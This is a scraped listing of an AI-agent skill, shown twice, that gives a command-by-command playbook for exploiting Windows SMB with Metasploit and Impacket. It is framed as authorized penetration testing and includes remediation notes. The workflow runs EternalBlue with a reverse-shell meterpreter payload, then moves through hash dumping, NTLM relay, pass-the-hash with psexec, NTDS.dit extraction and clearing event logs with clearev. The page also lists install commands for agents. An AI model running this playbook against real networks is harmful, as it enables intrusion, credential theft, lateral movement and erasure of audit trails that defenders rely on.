[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M78P4Z0PRBKCFS0XPT36AW10":3,"skill-same:01M78P4Z0PRBKCFS0XPT36AW10":74},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":35,"commitSha":36,"skillDirectory":37,"forksCount":38,"repositoryHtmlUrl":39,"repositoryHomepageUrl":6,"ownerHtmlUrl":40,"ownerBlogUrl":41,"ownerDescription":42,"updatedAt":43,"install":44,"resources":57},"01M78P4Z0PRBKCFS0XPT36AW10","exploiting-smb-vulnerabilities-with-metasploit",null,"Identifies and exploits SMB protocol vulnerabilities using Metasploit Framework during authorized penetration tests to demonstrate risks from unpatched Windows systems, misconfigured shares, and weak authentication in enterprise networks.","jukeyman\u002Fjukeyman-skills","jukeyman","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F142960420?v=4","01M78FR4Y3DHMMCBCC0GXXNB3F","RICK JEFFERSON","01M78FR4Z8RVQRAD31Y5J7V6EB",1,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-smb-vulnerabilities-with-metasploit\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-smb-vulnerabilities-with-metasploit\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: exploiting-smb-vulnerabilities-with-metasploit\ndescription: >\n  Identifies and exploits SMB protocol vulnerabilities using Metasploit Framework\n  during authorized penetration tests to demonstrate risks from unpatched Windows\n  systems, misconfigured shares, and weak authentication in enterprise networks.\ndomain: cybersecurity\nsubdomain: network-security\ntags: [network-security, smb, metasploit, exploitation, eternalblue]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n# Exploiting SMB Vulnerabilities with Metasploit\n\n## When to Use\n\n- Testing Windows systems for critical SMB vulnerabilities (EternalBlue, EternalRomance, PrintNightmare) during authorized penetration tests\n- Demonstrating lateral movement risks via SMB relay, pass-the-hash, and credential spraying\n- Validating that patch management processes have addressed known SMB vulnerabilities\n- Assessing SMB signing enforcement and share permission configurations across the domain\n- Testing network segmentation by attempting SMB exploitation across VLAN boundaries\n\n**Do not use** against systems without explicit written authorization, against production domain controllers without a maintenance window, or to deploy persistent backdoors beyond the scope of the assessment.\n\n## Prerequisites\n\n- Metasploit Framework 6.x installed (`msfconsole --version`)\n- Authorized penetration test scope document listing target IP ranges and approved attack types\n- Network access to target SMB services (TCP 445, TCP 139)\n- CrackMapExec and Impacket tools installed for complementary SMB testing\n- Valid test credentials or credential wordlists approved for the engagement\n- Kali Linux or equivalent testing platform\n\n## Workflow\n\n### Step 1: Enumerate SMB Services and Versions\n\n```bash\n# Discover hosts with SMB open using Nmap\nnmap -sS -p 445,139 --open -oA smb_hosts 10.10.0.0\u002F24\n\n# Enumerate SMB versions and OS information\nnmap -sV -p 445 --script smb-os-discovery,smb-protocols -oA smb_enum 10.10.0.0\u002F24\n\n# Use CrackMapExec for rapid SMB enumeration\ncrackmapexec smb 10.10.0.0\u002F24 --gen-relay-list smb_nosigning.txt\n\n# Check SMB signing status (disabled = vulnerable to relay)\ncrackmapexec smb 10.10.0.0\u002F24 --smb-signing\n\n# Enumerate shares with null session\ncrackmapexec smb 10.10.0.0\u002F24 -u '' -p '' --shares\n```\n\n### Step 2: Scan for Known SMB Vulnerabilities\n\n```bash\n# Start Metasploit and scan for MS17-010 (EternalBlue)\nmsfconsole -q\nmsf6> use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_ms17_010\nmsf6 auxiliary(smb_ms17_010)> set RHOSTS file:smb_hosts.txt\nmsf6 auxiliary(smb_ms17_010)> set THREADS 10\nmsf6 auxiliary(smb_ms17_010)> run\n\n# Scan for MS08-067 (Conficker vulnerability)\nmsf6> use auxiliary\u002Fscanner\u002Fsmb\u002Fms08_067_check\nmsf6 auxiliary(ms08_067_check)> set RHOSTS file:smb_hosts.txt\nmsf6 auxiliary(ms08_067_check)> run\n\n# Check for SMBGhost (CVE-2020-0796)\nnmap -p 445 --script smb-vuln-cve-2020-0796 10.10.0.0\u002F24\n\n# Check for PrintNightmare (CVE-2021-34527)\ncrackmapexec smb 10.10.0.0\u002F24 -u testuser -p 'TestPass123' -M printnightmare\n```\n\n### Step 3: Exploit EternalBlue (MS17-010)\n\n```bash\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6 exploit(ms17_010_eternalblue)> set RHOSTS 10.10.5.23\nmsf6 exploit(ms17_010_eternalblue)> set LHOST 10.10.1.99\nmsf6 exploit(ms17_010_eternalblue)> set LPORT 4444\nmsf6 exploit(ms17_010_eternalblue)> set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6 exploit(ms17_010_eternalblue)> set MaxExploitAttempts 3\nmsf6 exploit(ms17_010_eternalblue)> exploit\n\n# Post-exploitation -- verify access level\nmeterpreter> getuid\n# Server username: NT AUTHORITY\\SYSTEM\n\nmeterpreter> sysinfo\nmeterpreter> ipconfig\nmeterpreter> hashdump\n```\n\n### Step 4: Perform SMB Relay Attack\n\n```bash\n# Identify hosts without SMB signing (from Step 1)\n# Set up NTLM relay with Impacket\nsudo impacket-ntlmrelayx -tf smb_nosigning.txt -smb2support -i\n\n# Trigger authentication from a compromised host or via phishing\n# From Meterpreter session on a compromised host:\nmeterpreter> shell\nC:\\> net use \\\\10.10.1.99\\share \u002Fuser:DOMAIN\\admin password\n\n# Or use Metasploit's SMB relay module\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fsmb_relay\nmsf6 exploit(smb_relay)> set SMBHOST 10.10.5.30\nmsf6 exploit(smb_relay)> set LHOST 10.10.1.99\nmsf6 exploit(smb_relay)> exploit\n\n# Use responder to capture NTLM hashes for offline cracking\nsudo responder -I eth0 -wrfv\n```\n\n### Step 5: Pass-the-Hash and Lateral Movement via SMB\n\n```bash\n# Extract hashes from compromised system\nmeterpreter> hashdump\n# Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::\n\n# Use pass-the-hash with CrackMapExec\ncrackmapexec smb 10.10.0.0\u002F24 -u Administrator \\\n  -H e19ccf75ee54e06b06a5907af13cef42 --shares\n\n# Execute commands via pass-the-hash\ncrackmapexec smb 10.10.5.30 -u Administrator \\\n  -H e19ccf75ee54e06b06a5907af13cef42 -x \"whoami && hostname\"\n\n# Use Impacket psexec for interactive shell\nimpacket-psexec Administrator@10.10.5.30 \\\n  -hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42\n\n# Use Metasploit psexec module\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fpsexec\nmsf6 exploit(psexec)> set RHOSTS 10.10.5.30\nmsf6 exploit(psexec)> set SMBUser Administrator\nmsf6 exploit(psexec)> set SMBPass aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42\nmsf6 exploit(psexec)> set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6 exploit(psexec)> set LHOST 10.10.1.99\nmsf6 exploit(psexec)> exploit\n```\n\n### Step 6: Document Findings and Clean Up\n\n```bash\n# Document all compromised systems and access levels\n# In Meterpreter, screenshot desktops for evidence\nmeterpreter> screenshot\n\n# List accessible shares and sensitive data\nmeterpreter> shell\nC:\\> net share\nC:\\> dir \\\\10.10.5.30\\C$\\Users\\ \u002Fs \u002Fb\n\n# Clean up -- remove any artifacts\nmeterpreter> clearev\nmeterpreter> shell\nC:\\> del \u002Ff C:\\Windows\\Temp\\payload.exe\n\n# Close all sessions\nmsf6> sessions -K\n\n# Verify cleanup\ncrackmapexec smb 10.10.5.23 -u Administrator -H \u003Chash> -x \"dir C:\\Windows\\Temp\\payload*\"\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **EternalBlue (MS17-010)** | Critical SMB vulnerability in SMBv1 allowing remote code execution as SYSTEM without authentication, originally developed by the NSA and leaked by Shadow Brokers |\n| **SMB Signing** | Cryptographic signing of SMB packets to prevent tampering and relay attacks; when disabled, attackers can relay NTLM authentication to other SMB hosts |\n| **Pass-the-Hash** | Authentication technique using captured NTLM password hashes directly instead of plaintext passwords, bypassing the need to crack the hash |\n| **NTLM Relay** | Attack where captured NTLM authentication is forwarded to a different server in real-time, granting the attacker access as the relayed user |\n| **PsExec** | Remote execution technique that uploads a service binary to the ADMIN$ share and creates a Windows service to execute commands as SYSTEM |\n| **Null Session** | Anonymous SMB connection (empty username and password) that may expose share listings, user enumeration, and policy information on misconfigured systems |\n\n## Tools & Systems\n\n- **Metasploit Framework**: Exploitation framework with dedicated SMB scanner, exploit, and post-exploitation modules for comprehensive SMB testing\n- **CrackMapExec**: Swiss-army knife for SMB enumeration, credential testing, share enumeration, and command execution across Windows networks\n- **Impacket**: Python library providing psexec, smbclient, ntlmrelayx, and other tools for low-level SMB protocol interaction\n- **Responder**: LLMNR\u002FNBT-NS\u002FmDNS poisoner that captures NTLM hashes from Windows name resolution fallback behavior\n- **enum4linux-ng**: Updated SMB enumeration tool for extracting users, groups, shares, and policies from Windows\u002FSamba hosts\n\n## Common Scenarios\n\n### Scenario: Internal Penetration Test Targeting Windows Domain via SMB\n\n**Context**: During an internal penetration test for a financial services firm, the tester has network access to the corporate VLAN (10.10.0.0\u002F16). The scope includes testing all Windows servers and workstations for SMB-related vulnerabilities. Active Directory domain is CORP.EXAMPLE.COM with approximately 200 hosts.\n\n**Approach**:\n1. Scan the entire \u002F16 for open SMB ports and enumerate OS versions with CrackMapExec\n2. Identify 12 hosts running Windows Server 2012 R2 without MS17-010 patch applied\n3. Exploit EternalBlue on a non-critical file server (10.10.5.23) to gain SYSTEM access\n4. Extract local administrator password hash using hashdump and discover password reuse across 47 hosts\n5. Use pass-the-hash to access a domain controller, extracting the NTDS.dit database\n6. Demonstrate that SMB signing is disabled on 83% of hosts, enabling relay attacks\n7. Document the complete attack chain showing how one unpatched system led to full domain compromise\n\n**Pitfalls**:\n- EternalBlue exploit can cause a blue screen of death (BSOD) on the target, especially on older or unstable systems\n- Running psexec on heavily monitored endpoints may trigger EDR alerts and burn the engagement\n- Performing hashdump on domain controllers with large databases can cause performance degradation\n- Not checking for SMBv1 explicitly -- some scanners may miss it if SMBv2\u002Fv3 is also available\n\n## Output Format\n\n```\n## SMB Vulnerability Assessment Report\n\n**Engagement**: Internal Penetration Test\n**Target Range**: 10.10.0.0\u002F16 (CORP.EXAMPLE.COM)\n**SMB Hosts Discovered**: 187\n\n### Critical Findings\n\n**Finding 1: MS17-010 (EternalBlue) - 12 Unpatched Hosts**\n- Severity: Critical (CVSS 9.8)\n- Affected: 10.10.5.23, 10.10.5.24, 10.10.8.10 (+ 9 others)\n- Impact: Remote code execution as SYSTEM without authentication\n- Exploited: Yes - gained SYSTEM on 10.10.5.23\n- Remediation: Apply MS17-010 patch, disable SMBv1\n\n**Finding 2: SMB Signing Disabled - 155\u002F187 Hosts**\n- Severity: High (CVSS 7.5)\n- Impact: NTLM relay attacks allow credential forwarding\n- Exploited: Yes - relayed domain admin credentials\n- Remediation: Enable SMB signing via Group Policy\n\n**Finding 3: Local Admin Password Reuse - 47 Hosts**\n- Severity: High (CVSS 7.2)\n- Impact: Compromise of one host enables lateral movement to 47 systems\n- Remediation: Deploy LAPS (Local Administrator Password Solution)\n```\n","# Exploiting SMB Vulnerabilities with Metasploit\n\n## When to Use\n\n- Testing Windows systems for critical SMB vulnerabilities (EternalBlue, EternalRomance, PrintNightmare) during authorized penetration tests\n- Demonstrating lateral movement risks via SMB relay, pass-the-hash, and credential spraying\n- Validating that patch management processes have addressed known SMB vulnerabilities\n- Assessing SMB signing enforcement and share permission configurations across the domain\n- Testing network segmentation by attempting SMB exploitation across VLAN boundaries\n\n**Do not use** against systems without explicit written authorization, against production domain controllers without a maintenance window, or to deploy persistent backdoors beyond the scope of the assessment.\n\n## Prerequisites\n\n- Metasploit Framework 6.x installed (`msfconsole --version`)\n- Authorized penetration test scope document listing target IP ranges and approved attack types\n- Network access to target SMB services (TCP 445, TCP 139)\n- CrackMapExec and Impacket tools installed for complementary SMB testing\n- Valid test credentials or credential wordlists approved for the engagement\n- Kali Linux or equivalent testing platform\n\n## Workflow\n\n### Step 1: Enumerate SMB Services and Versions\n\n```bash\n# Discover hosts with SMB open using Nmap\nnmap -sS -p 445,139 --open -oA smb_hosts 10.10.0.0\u002F24\n\n# Enumerate SMB versions and OS information\nnmap -sV -p 445 --script smb-os-discovery,smb-protocols -oA smb_enum 10.10.0.0\u002F24\n\n# Use CrackMapExec for rapid SMB enumeration\ncrackmapexec smb 10.10.0.0\u002F24 --gen-relay-list smb_nosigning.txt\n\n# Check SMB signing status (disabled = vulnerable to relay)\ncrackmapexec smb 10.10.0.0\u002F24 --smb-signing\n\n# Enumerate shares with null session\ncrackmapexec smb 10.10.0.0\u002F24 -u '' -p '' --shares\n```\n\n### Step 2: Scan for Known SMB Vulnerabilities\n\n```bash\n# Start Metasploit and scan for MS17-010 (EternalBlue)\nmsfconsole -q\nmsf6> use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_ms17_010\nmsf6 auxiliary(smb_ms17_010)> set RHOSTS file:smb_hosts.txt\nmsf6 auxiliary(smb_ms17_010)> set THREADS 10\nmsf6 auxiliary(smb_ms17_010)> run\n\n# Scan for MS08-067 (Conficker vulnerability)\nmsf6> use auxiliary\u002Fscanner\u002Fsmb\u002Fms08_067_check\nmsf6 auxiliary(ms08_067_check)> set RHOSTS file:smb_hosts.txt\nmsf6 auxiliary(ms08_067_check)> run\n\n# Check for SMBGhost (CVE-2020-0796)\nnmap -p 445 --script smb-vuln-cve-2020-0796 10.10.0.0\u002F24\n\n# Check for PrintNightmare (CVE-2021-34527)\ncrackmapexec smb 10.10.0.0\u002F24 -u testuser -p 'TestPass123' -M printnightmare\n```\n\n### Step 3: Exploit EternalBlue (MS17-010)\n\n```bash\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6 exploit(ms17_010_eternalblue)> set RHOSTS 10.10.5.23\nmsf6 exploit(ms17_010_eternalblue)> set LHOST 10.10.1.99\nmsf6 exploit(ms17_010_eternalblue)> set LPORT 4444\nmsf6 exploit(ms17_010_eternalblue)> set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6 exploit(ms17_010_eternalblue)> set MaxExploitAttempts 3\nmsf6 exploit(ms17_010_eternalblue)> exploit\n\n# Post-exploitation -- verify access level\nmeterpreter> getuid\n# Server username: NT AUTHORITY\\SYSTEM\n\nmeterpreter> sysinfo\nmeterpreter> ipconfig\nmeterpreter> hashdump\n```\n\n### Step 4: Perform SMB Relay Attack\n\n```bash\n# Identify hosts without SMB signing (from Step 1)\n# Set up NTLM relay with Impacket\nsudo impacket-ntlmrelayx -tf smb_nosigning.txt -smb2support -i\n\n# Trigger authentication from a compromised host or via phishing\n# From Meterpreter session on a compromised host:\nmeterpreter> shell\nC:\\> net use \\\\10.10.1.99\\share \u002Fuser:DOMAIN\\admin password\n\n# Or use Metasploit's SMB relay module\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fsmb_relay\nmsf6 exploit(smb_relay)> set SMBHOST 10.10.5.30\nmsf6 exploit(smb_relay)> set LHOST 10.10.1.99\nmsf6 exploit(smb_relay)> exploit\n\n# Use responder to capture NTLM hashes for offline cracking\nsudo responder -I eth0 -wrfv\n```\n\n### Step 5: Pass-the-Hash and Lateral Movement via SMB\n\n```bash\n# Extract hashes from compromised system\nmeterpreter> hashdump\n# Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::\n\n# Use pass-the-hash with CrackMapExec\ncrackmapexec smb 10.10.0.0\u002F24 -u Administrator \\\n  -H e19ccf75ee54e06b06a5907af13cef42 --shares\n\n# Execute commands via pass-the-hash\ncrackmapexec smb 10.10.5.30 -u Administrator \\\n  -H e19ccf75ee54e06b06a5907af13cef42 -x \"whoami && hostname\"\n\n# Use Impacket psexec for interactive shell\nimpacket-psexec Administrator@10.10.5.30 \\\n  -hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42\n\n# Use Metasploit psexec module\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fpsexec\nmsf6 exploit(psexec)> set RHOSTS 10.10.5.30\nmsf6 exploit(psexec)> set SMBUser Administrator\nmsf6 exploit(psexec)> set SMBPass aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42\nmsf6 exploit(psexec)> set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6 exploit(psexec)> set LHOST 10.10.1.99\nmsf6 exploit(psexec)> exploit\n```\n\n### Step 6: Document Findings and Clean Up\n\n```bash\n# Document all compromised systems and access levels\n# In Meterpreter, screenshot desktops for evidence\nmeterpreter> screenshot\n\n# List accessible shares and sensitive data\nmeterpreter> shell\nC:\\> net share\nC:\\> dir \\\\10.10.5.30\\C$\\Users\\ \u002Fs \u002Fb\n\n# Clean up -- remove any artifacts\nmeterpreter> clearev\nmeterpreter> shell\nC:\\> del \u002Ff C:\\Windows\\Temp\\payload.exe\n\n# Close all sessions\nmsf6> sessions -K\n\n# Verify cleanup\ncrackmapexec smb 10.10.5.23 -u Administrator -H \u003Chash> -x \"dir C:\\Windows\\Temp\\payload*\"\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **EternalBlue (MS17-010)** | Critical SMB vulnerability in SMBv1 allowing remote code execution as SYSTEM without authentication, originally developed by the NSA and leaked by Shadow Brokers |\n| **SMB Signing** | Cryptographic signing of SMB packets to prevent tampering and relay attacks; when disabled, attackers can relay NTLM authentication to other SMB hosts |\n| **Pass-the-Hash** | Authentication technique using captured NTLM password hashes directly instead of plaintext passwords, bypassing the need to crack the hash |\n| **NTLM Relay** | Attack where captured NTLM authentication is forwarded to a different server in real-time, granting the attacker access as the relayed user |\n| **PsExec** | Remote execution technique that uploads a service binary to the ADMIN$ share and creates a Windows service to execute commands as SYSTEM |\n| **Null Session** | Anonymous SMB connection (empty username and password) that may expose share listings, user enumeration, and policy information on misconfigured systems |\n\n## Tools & Systems\n\n- **Metasploit Framework**: Exploitation framework with dedicated SMB scanner, exploit, and post-exploitation modules for comprehensive SMB testing\n- **CrackMapExec**: Swiss-army knife for SMB enumeration, credential testing, share enumeration, and command execution across Windows networks\n- **Impacket**: Python library providing psexec, smbclient, ntlmrelayx, and other tools for low-level SMB protocol interaction\n- **Responder**: LLMNR\u002FNBT-NS\u002FmDNS poisoner that captures NTLM hashes from Windows name resolution fallback behavior\n- **enum4linux-ng**: Updated SMB enumeration tool for extracting users, groups, shares, and policies from Windows\u002FSamba hosts\n\n## Common Scenarios\n\n### Scenario: Internal Penetration Test Targeting Windows Domain via SMB\n\n**Context**: During an internal penetration test for a financial services firm, the tester has network access to the corporate VLAN (10.10.0.0\u002F16). The scope includes testing all Windows servers and workstations for SMB-related vulnerabilities. Active Directory domain is CORP.EXAMPLE.COM with approximately 200 hosts.\n\n**Approach**:\n1. Scan the entire \u002F16 for open SMB ports and enumerate OS versions with CrackMapExec\n2. Identify 12 hosts running Windows Server 2012 R2 without MS17-010 patch applied\n3. Exploit EternalBlue on a non-critical file server (10.10.5.23) to gain SYSTEM access\n4. Extract local administrator password hash using hashdump and discover password reuse across 47 hosts\n5. Use pass-the-hash to access a domain controller, extracting the NTDS.dit database\n6. Demonstrate that SMB signing is disabled on 83% of hosts, enabling relay attacks\n7. Document the complete attack chain showing how one unpatched system led to full domain compromise\n\n**Pitfalls**:\n- EternalBlue exploit can cause a blue screen of death (BSOD) on the target, especially on older or unstable systems\n- Running psexec on heavily monitored endpoints may trigger EDR alerts and burn the engagement\n- Performing hashdump on domain controllers with large databases can cause performance degradation\n- Not checking for SMBv1 explicitly -- some scanners may miss it if SMBv2\u002Fv3 is also available\n\n## Output Format\n\n```\n## SMB Vulnerability Assessment Report\n\n**Engagement**: Internal Penetration Test\n**Target Range**: 10.10.0.0\u002F16 (CORP.EXAMPLE.COM)\n**SMB Hosts Discovered**: 187\n\n### Critical Findings\n\n**Finding 1: MS17-010 (EternalBlue) - 12 Unpatched Hosts**\n- Severity: Critical (CVSS 9.8)\n- Affected: 10.10.5.23, 10.10.5.24, 10.10.8.10 (+ 9 others)\n- Impact: Remote code execution as SYSTEM without authentication\n- Exploited: Yes - gained SYSTEM on 10.10.5.23\n- Remediation: Apply MS17-010 patch, disable SMBv1\n\n**Finding 2: SMB Signing Disabled - 155\u002F187 Hosts**\n- Severity: High (CVSS 7.5)\n- Impact: NTLM relay attacks allow credential forwarding\n- Exploited: Yes - relayed domain admin credentials\n- Remediation: Enable SMB signing via Group Policy\n\n**Finding 3: Local Admin Password Reuse - 47 Hosts**\n- Severity: High (CVSS 7.2)\n- Impact: Compromise of one host enables lateral movement to 47 systems\n- Remediation: Deploy LAPS (Local Administrator Password Solution)\n```\n",{"name":5,"tags":25,"author":31,"domain":32,"license":15,"version":33,"subdomain":26,"description":34},[26,27,28,29,30],"network-security","smb","metasploit","exploitation","eternalblue","mahipal","cybersecurity","1.0","Identifies and exploits SMB protocol vulnerabilities using Metasploit Framework during authorized penetration tests to demonstrate risks from unpatched Windows systems, misconfigured shares, and weak authentication in enterprise networks.\n","main","99825ad3f3bcc6597ddcc7294a14e6e922f2b67b","skills\u002Fexploiting-smb-vulnerabilities-with-metasploit",0,"https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills","https:\u002F\u002Fgithub.com\u002Fjukeyman","https:\u002F\u002FRJBUSINESSSOLUTIONS.ORG","Credit and Finance Expert | Developer\r\n\r\nI'm Rick Jefferson, a seasoned credit and finance expert with over a decade of experience in financial literacy,","2026-07-13 07:03:29",{"source":8,"skillName":5,"commands":45,"prompt":55,"zipAvailable":56},[46,49,52],{"tool":47,"command":48},"npx","npx skills add jukeyman\u002Fjukeyman-skills --skill exploiting-smb-vulnerabilities-with-metasploit",{"tool":50,"command":51},"bunx","bunx skills add jukeyman\u002Fjukeyman-skills --skill exploiting-smb-vulnerabilities-with-metasploit",{"tool":53,"command":54},"pnpm","pnpm dlx skills add jukeyman\u002Fjukeyman-skills --skill exploiting-smb-vulnerabilities-with-metasploit","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-smb-vulnerabilities-with-metasploit\u002FSKILL.md",true,[58,62,68],{"path":59,"resourceType":59,"resourceTypeDesc":60,"sizeBytes":61,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":63,"resourceType":64,"resourceTypeDesc":65,"sizeBytes":66,"sourceHtmlUrl":67},"references\u002Fapi-reference.md","REFERENCE","参考文档",1935,"https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-smb-vulnerabilities-with-metasploit\u002Freferences\u002Fapi-reference.md",{"path":69,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":72,"sourceHtmlUrl":73},"scripts\u002Fagent.py","SCRIPT","脚本",5993,"https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-smb-vulnerabilities-with-metasploit\u002Fscripts\u002Fagent.py",[75,83,90,97,104,112],{"skillNo":76,"name":77,"nameZh":6,"description":78,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":79,"licenseFileUrl":6,"sourceHtmlUrl":80,"categories":81,"keywords":82,"publishedAt":20},"01M79ANS2SM329NEP5ZCX106RR","zustand-store-creator","Create zustand store creator operations. Auto-activating skill for Frontend Development.\nTriggers on: zustand store creator, zustand store creator\nPart of the Frontend Development skill category. Use when working with zustand store creator functionality. Trigger with phrases like \"zustand store creator\", \"zustand creator\", \"zustand\".","MIT","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzustand-store-creator\u002FSKILL.md",[],[],{"skillNo":84,"name":85,"nameZh":6,"description":86,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":79,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":20},"01M79AMZKP4YDEZ7EHG1Y7PP74","zero-trust-config-helper","Configure with zero trust config helper operations. Auto-activating skill for Security Advanced.\nTriggers on: zero trust config helper, zero trust config helper\nPart of the Security Advanced skill category. Use when configuring systems or services. Trigger with phrases like \"zero trust config helper\", \"zero helper\", \"zero\".","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzero-trust-config-helper\u002FSKILL.md",[],[],{"skillNo":91,"name":92,"nameZh":6,"description":93,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":79,"licenseFileUrl":6,"sourceHtmlUrl":94,"categories":95,"keywords":96,"publishedAt":20},"01M79AMJSBCEJQNBTYNAHYN5HM","zapier-integration-helper","Assist with zapier integration helper operations. Auto-activating skill for Business Automation.\nTriggers on: zapier integration helper, zapier integration helper\nPart of the Business Automation skill category. Use when working with APIs or building integrations. Trigger with phrases like \"zapier integration helper\", \"zapier helper\", \"zapier\".","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzapier-integration-helper\u002FSKILL.md",[],[],{"skillNo":98,"name":99,"nameZh":6,"description":100,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":79,"licenseFileUrl":6,"sourceHtmlUrl":101,"categories":102,"keywords":103,"publishedAt":20},"01M79AHJZGVMARS13VFQYRR1MP","yaml-config-validator","Validate yaml config validator operations. Auto-activating skill for DevOps Basics.\nTriggers on: yaml config validator, yaml config validator\nPart of the DevOps Basics skill category. Use when configuring systems or services. Trigger with phrases like \"yaml config validator\", \"yaml validator\", \"yaml\".","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fyaml-config-validator\u002FSKILL.md",[],[],{"skillNo":105,"name":106,"nameZh":6,"description":107,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":79,"licenseFileUrl":108,"sourceHtmlUrl":109,"categories":110,"keywords":111,"publishedAt":20},"01M79AHGDZRN0020RDQSQDPAM8","xvary-stock-research","Thesis-driven equity analysis from public SEC EDGAR and market data; \u002Fanalyze, \u002Fscore, \u002Fcompare workflows with bundled Python tools (Claude Code, Cursor, Codex).","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fxvary-stock-research\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fxvary-stock-research\u002FSKILL.md",[],[],{"skillNo":113,"name":114,"nameZh":6,"description":115,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":79,"licenseFileUrl":6,"sourceHtmlUrl":116,"categories":117,"keywords":118,"publishedAt":20},"01M79AHCYJ9FV9RMHQ24HDRN33","xss-vulnerability-scanner","Scan xss vulnerability scanner operations. Auto-activating skill for Security Fundamentals.\nTriggers on: xss vulnerability scanner, xss vulnerability scanner\nPart of the Security Fundamentals skill category. Use when working with xss vulnerability scanner functionality. Trigger with phrases like \"xss vulnerability scanner\", \"xss scanner\", \"xss\".","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fxss-vulnerability-scanner\u002FSKILL.md",[],[]]